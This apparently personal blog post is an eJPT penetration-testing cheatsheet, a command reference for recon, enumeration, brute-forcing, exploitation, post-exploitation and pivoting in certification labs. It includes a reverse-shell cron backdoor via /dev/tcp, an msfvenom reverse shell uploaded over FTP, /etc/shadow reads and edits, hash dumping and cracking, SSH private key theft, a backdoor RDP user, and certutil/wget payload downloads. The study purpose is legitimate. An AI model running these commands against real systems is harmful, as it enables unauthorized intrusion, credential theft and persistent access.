Home 📜 eJPT Cheatsheet
Post
Cancel

📜 eJPT Cheatsheet

Posted Apr 17, 2024 Updated Oct 7, 2024
By blueh0rse
11 min read

Here is my personal eJPT cheatsheet that I built while following the associated course and used during the exam.

Information Gathering

Passive Information Gathering

DNS Reconnaissance

  • dnsrecon
  • dnsdumpster
1

dnsrecon -d target.com

Email Harvesting

  • theHarvester
1

theHarvester -d target.com -d google,linkedin

Google Dorks

  • Google Hacking Database
  • WayBackMachine
1
2
3
4
5

site:*.target.com
site:*.target.com intitle:admin
site:*.target.com filetype:pdf
intitle:index of
cache:target.com

Leaked Passwords Databases

Subdomain Enumeration

  • sublist3r
1

sublist3r -d hackersploit.com -e google,yahoo -o hackersploit.txt

Detect WAF

  • wafw00F
1
2

wafw00f target.com
wafw00f https://target.com -a

Website Footprinting

1
2
3

host target.com
whatweb target.com
whois target.com

Active Information Gathering

DNS Zone Transfers

  • dnsenum
  • dig
  • fierce
1
2
3

dnsenum target.com
dig axfr @subdomain target.com
fierce -dns target.com

Host Discovery

  • nmap
  • netdiscover
1
2
3
4
5

# identify host ip address
ip ad
# scan network
sudo nmap -sn 192.168.1.0/24
sudo netdiscover -i eth0 -r 192.168.1.0/24
  • -sn : No port scan

Footprinting and Scanning

  • nmap
  • Metasploit

Port Scanning

  • Scan all ports with -p- option.

  • Scan specific ports with -p 80,443 for example

  • -Pn to disable isAlive check
  • -sU for UDP scan
  • -sV to perform service version scan
  • -O to try to identify running Operating System

  • -sC default nmap scripts to get more information from open ports

  • -A aggressive scan combining -sV -sC -O
  • -T0 to scan very sneakily

  • -T5 to scan very aggressively

  • -oN file.txt to save output in text format
  • -oX file.xml to save output in xml format
    • Can be imported in Metasploit

Import nmap scan in MSF:

1
2
3
4
5
6
7
8
9
10

$ msfconsole
# create workspace
msf6> workspace -a <name>
# import scan
msf6> db_import xml_scan.xml
# target is now added to hosts
msf6> hosts
msf6> services
# nmap scan from msf
msf6> db_nmap <ip>

Nmap Scripting Engine

1
2
3
4
5
6

# list all scripts
ls -al /usr/share/nmap/scripts
# filter by category
ls -al /usr/share/nmap/scripts | grep -e "http"
# run script
nmap --script <script1>[,<script2>,<script3>] <ip>

Firewall & IDS Evasion

How to detect the presence of a firewall?

  • -sA: send ACK packet to open port

    • To know if port if filtered or unfiltered

  • How to evade Firewall/IDS?

    • -f: Use packet fragmenting
    • --mtu 8: minimum transmission unit

  • Gateway IP can be spoofed to trick IDS:

    • Gateway IP is always x.x.x.1
    • --data-length 200
    • -D <gateway ip>
    • -g 53: spoof gateway’s source port

Enumeration

  • nmap

FTP

  • Hydra
1
2

nmap <ip> -p 21 -sV
nmap <ip> -p 21 --script ftp-anon

Anonymous login:

1
2
3
4
5

ftp <ip>
> anonymous
>
ftp> get file.txt
ftp> bye

Brute force users:

1

nmap <ip> --script ftp-brute --script-args userdb=users.txt -p 21

Brute force credentials:

1

hydra -L common_users.txt -P unix_password.txt <ip> ftp

HTTP

  • whatweb
  • dirb
  • browsh
    • lynx
1
2

nmap -p 80 --script http-enum
nmap -p 80 --script http-headers

Apache

1
2

nmap <ip> -p 80 -sV --script banner
lynx http://<ip>

Look for robots.txt file.

IIS

1

whatweb <ip>

SMB

  • smbclient
  • rpcclient
  • SMBMap
1
2
3
4
5

nmap -p 445 --script smb-protocols <ip>
nmap -p 445 --script smb-security-mode <ip>
nmap -p 445 --script smb-enum-sessions <ip>
nmap -p 445 --script smb-enum-sessions --script-args ... <ip>
nmap -p 445 --script smb-enum-shares <ip>

1
2
3
4

# anonymous
smbmap -u guest -p "" -d . -H <ip>
# admin user
smbmap -u administrator -p smbserver_771 -H <ip> -x 'ipconfig'

1
2
3
4
5

> use auxiliary/scanner/smb/smb_login
> set RHOSTS <ip>
> set USER_FILE common_users.txt
> set PASS_FILE unix_passwords.txt
> set VERBOSE false # to only print succeed

1
2
3

$ psexec.py <username>@<ip> cmd.exe
Password:
C:\Windows\system32>

To open a meterpreter session:

1
2
3
4

> use exploit/windows/smb/psexec
> set RHOSTS <ip>
> set SMBUser <username>
> set SMBPass <password>

SQL

MySQL

1
2

nmap -sV -p 3306 --script=mysql-empty-password
nmap -sV -p 3306 --script=mysql-info

1
2
3
4
5

mysql -h <ip> -u root
> show databases;
> use <db>;
> select * from <table>;
> select load_file("/etc/shadow");

1
2

msf5> use auxiliary/scanner/mysql/mysql_writable_dirs
msf5> use auxiliary/scanner/mysql/mysql_hashdump
Dictionary Attack
1
2

msf5> use/auxiliary/scanner/mysql/mysql_login
msf5> set pass_file /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

1

hydra -l root -P unix_passwords.txt <ip> mysql

MSSQL

1
2
3
4

nmap <ip> -p 1433 --script ms-sql-info
nmap <ip> -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433
nmap <ip> -p 1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt
nmap <ip> -p 1433 --script ms-sql-empty-password

1

nmap <ip> -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt"

Using metasploit to brute force user and passwords:

1
2
3
4

> use auxiliary/scanner/mssql/mssql_login
> use auxiliary/admin/mssql/mssql_enum
> use auxiliary/admin/mssql/mssql_enum_sql_logins
> use auxiliary/admin/mssql/mssql_exec

SSH

1

nc <ip> 22

1

ssh <user>@<ip>

1
2

nmap <ip> -p 22 --script ssh2-enum-algos
nmap <ip> -p 22 --script ssh2-hostkey --script-args ssh_hostkey=full

RDP

1

...

Dictionary Attack

1
2

hydra -l student -P rockyou.txt <ip> ssh
nmap <ip> -p 22 --script ssh-brute --script-args userdb=users.txt

Vulnerability Assessment

  • Nessus
  • searchsploit
  • exploitdb
  • Metasploit

Exploitation

Linux

vsFTPd

1
2
3
4
5
6
7
8
9

$ ftp <ip>
anonymous
$ searchploit vsftpd
$ searchsploit -m <exploit>
# brute force
# smtp can identify user acounts very easily
> use smtp/smtp_enum
# brute force with usernames
$ hydra -l <user> -P unix_users <ip> ftp

Samba

1
2
3
4

# samba smbd port 445
> use smb_version
$ searchsploit samba 3.0.20
> use multi/samba/usermap_script

PHP

1
2
3
4
5
6
7

# targeting port 80 Apache httpd 2.2.8
# search for /phpinfo.php file
$ searchsploit php
$ searchsploit -m
# change pwn_code
$ nc -lvnp 1234
$ python2 18836.py <ip> 80

Windows

IIS FTP

Microsoft ftpd (port 21) it’s used in combination with Microsoft IIS httpd (port 80)

1
2
3
4
5
6
7
8
9
10

# test ftp anon auth
$ nmap -sV -p 21 --script ftp-anon <ip>
# hydra brute force ftp
$ hydra -L unix_users.txt -P unix_passwords.txt <ip> ftp
$ hydra -l <username> -P unix_passwords.txt <ip> ftp
# connect
$ ftp <ip> <port>
$ msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=1234 -f asp > shell.aspx
ftp> put shell.aspx
> use multi/handler

MySQL

1
2
3
4
5

$ searchsploit mysql
> use mysql_login
> set PASS_FILE unix_passwords.txt
$ mysql -u <user> -p -h <ip>
>show databases

If some web apps have restricted access you can modify the conf:

1
2

cat C:\wamp\www\wordpress\wp-config.php
cat C:\wamp\alias\phpmyadmin.conf

1
2

net stop wampapache
net start wampapache

OpenSSH

1
2
3

searchsploit OpenSSH
hydra -l vagrant -P unix_users.txt <ip> ssh
ssh <user>@<ip>

SMB

1
2
3
4
5
6
7
8
9
10
11

# after obtaining credentials
# go enum shares
$ smbclient -L <ip> -U <user>
$ smbmap -u <user> -p <pass>
$ enum4linux -u <user> -p <pass> <ip>
# msf modules
> smb/enum_users
$ locate psexec.py
$ python psexec.py <user>@<ip>
> smb/psexec_loggedin_users
> exploit/windows/smb/ms17_010_eternalblue

Post-Exploitation

Linux

Hashes

1
2
3
4

cat /etc/shadow
> use post/linux/gather/hashdump
# save hash line in a hash.txt file
gzip -d /usr/share/wordlists/rockyou.txt.gz

1
2
3

john --format=sha512crypt hash.txt --wordlist=rockyou.txt
# 1800 = sha512
hashcat -a3 -m 1800 hash.txt rockyou.txt

Local Enumeration

Users & Groups
1
2
3
4
5
6
7
8
9
10
11

m> getuid
m> shell
/bin/bash -i
$ whoami
$ groups
$ groups <user>
$ cat /etc/passwd
$ ls /home
# get last logged users (ssh or physical)
$ last
$ lastlog
Network Information
1
2
3
4
5
6
7
8
9
10
11

m> ifconfig
m> netstat
m> route
m> shell
/bin/bash -i
$ ip add
$ cat /etc/networks
$ cat /etc/hostname
$ cat /etc/hosts
$ cat /etc/resolv.conf
$ arp
System Information
1
2
3
4
5
6
7
8
9
10

m> shell
$ hostname
$ cat /etc/issue
$ cat /etc/*release
$ uname -a
$ env
$ lscpu
$ df -h
$ lsblk | grep sd
$ dpkg -l
Processes & Cron Jobs
1
2
3
4

m> ps
m> pgrep <process>
$ ps aux
$ top

1
2
3

# cron jobs
$ crontab -l
$ ls -al /etc/cron*
Automated
1
2
3

> upload LinEnum.sh
$ chmod +x LinEnum.sh
$ ./LinEnum.sh

Privilege Escalation

1
2
3
4
5

# list command I can run
sudo -l
# /usr/bin/man can be run as root
sudo man ls
!/bin/bash

1
2
3
4
5
6
7
8
9
10
11

# simple local enum
whoami
cat /etc/passwd
groups
groups <user>
find / -not -type l -perm -o+w 2>/dev/null
# /etc/shadow is writable
openssl passwd -1 -salt abc <new_password>
# edit /etc/shadow
root:<hash>:[...]
su

Persistence

Cron Jobs
1
2
3
4
5
6

ssh <user>@<ip>
# list cron jobs
$ cat /etc/cron*
# create backdoor cron jobs
$ echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1" > my_cron
nc -lvnp <port>
SSH keys
1
2
3
4
5
6
7

ssh <user>@<ip>
$ cd ~/.ssh
$ cat id_rsa
# copy the priv key
scp <user>@<ip>:~/.ssh/id_rsa .
chmod 400 id_rsa
ssh -i id_rsa <user>@<ip>

Windows

Hashes

1
2
3
4
5
6

m> getprivs
m> pgrep lsass
m> migrate <id>
m> hashdump
<hashes>
# paste hashes in hashes.txt

1
2
3

john --list=formats
john --format=NT hashes.txt [--wordlist=<wordlist>]
gzip -d /usr/share/wordlists/rockyou.txt.gz

1
2

# id 1000 for NTLM
hashcat -a3 -m 1000 hashes.txt rockyou.txt

1

xfreerdp /u:<username> /p:<password> /v:<ip>

Local Enumeration

Users & Groups
1
2
3
4
5
6
7
8
9
10
11
12
13
14

m> getuid
m> getprivs
m> backgroupd
> use post/windows/gather/enum_logged_on_users
m> shell
>whoami
>whoami /priv
>query user
# see all users
>net users
>net user <user>
>net localgroup
# see users part of a group
>net localgroup administrators
Network Information
1
2
3
4
5
6
7
8
9

m> shell
>ipconfig
>ipconfig /all
>route print
>arp -a
>netstat -ano
>netsh firewall show state
>netsh advfirewall dump
>netsh advfirewall show allprofiles
System Information
1
2
3
4
5
6
7
8

# meterpreter session
> getuid
> sysinfo
> shell
>hostname
>systeminfo
>wmic qfe get Caption,Decription,HotfixID,InstalledOn
m> cat C:\eula.txt
Processes & Services
1
2
3
4
5
6
7
8
9

m> ps
m> pgrep explorer.exe
m> migrate <pid>
m> shell
# services started
>net start
>wmic service list brief
>tasklist /SVC
>schtasks /query /fo LIST [/v]
Automated
1
2
3
4
5
6
7
8
9

# get a meterpreter shell...
m> show_mount
> use post windows/gather/win_privs
> use post/windows/gather/enum_logged_on_users
> use post/windows/gather/checkvm
> use post/windows/gather/enum_applications
> use post/windows/gather/enum_computers
> use post/windows/gather/enum_patches
> use post/windows/gather/enum_shares

1
2
3
4
5
6
7

# clone the jaws-enum.ps1 first
m> cd C:\\
m> mkdir Temp
m> cd Temp
m> upload jaws-enum.ps1
m> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename jaws-enum.txt
m> dowload jaws-enum.txt

Privilege Escalation

1
2
3
4
5
6
7
8

# when you find credentials
# connect using python psexec
$ psexec.py <user>@<ip>
>whoami
>whoami /priv
# or connect using msf module
> use exploit/windows/smb/psexec
m>

1
2
3

> use exploit/multi/script/web_delivery
m> shell
> powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Persistence

RDP
1
2
3
4
5
6
7

> use exploit/windows/http/badblue_passthru
m> pgrep explorer
m> migrate <pid>
# create backdoor user
m> run getgui -e -u <username> -p <password>
# connect to it via rdp
xfreerdp /u:<username> /p:<password> /v:<ip>
Services
1

> use exploit/windows/local/persistence_service

Pivoting

1
2
3
4
5
6
7
8
9
10
11
12
13

# once with a meterpreter session
m> ipconfig
m> run autoroute -s <ip>.0/20
# list routes
m> run autoroute -p
m> background
> use auxiliary/scanner/portscann/tcp
> set RHOSTS <ip_target2>
m> portfwd add -l 1234 -p <target2_port> -r <target2_ip>
# scan portforwarded wit nmap
$ nmap -sV -p 1234 localhost
> use <module>
> set RHOSTS <target2_ip>

Upgrading shells

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# simple upgrade
/bin/bash -i
# first list valid shells
cat /etc/shells
# look for python
python --version
# if python is installed
python -c 'import pty; pty.spawn("/bin/bash")'
# if perl
perl -e 'exec "/bin/bash";'
# look for env
env
# set useful variables
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash

Transferring Files

Linux

1
2
3
4

# on attack machine
python 3 -m http.server 80
# on victim machine
wget http://<ip>/<file>

Windows

1
2
3

python3 -m http.server 80
# dl on windows
>certutil -urlcache -f http://<ip>/<file> <file>
Certifications, eJPT
ejpt cheatsheet
This post is licensed under GNU GPLv3 by the author.
Recently Updated
Contents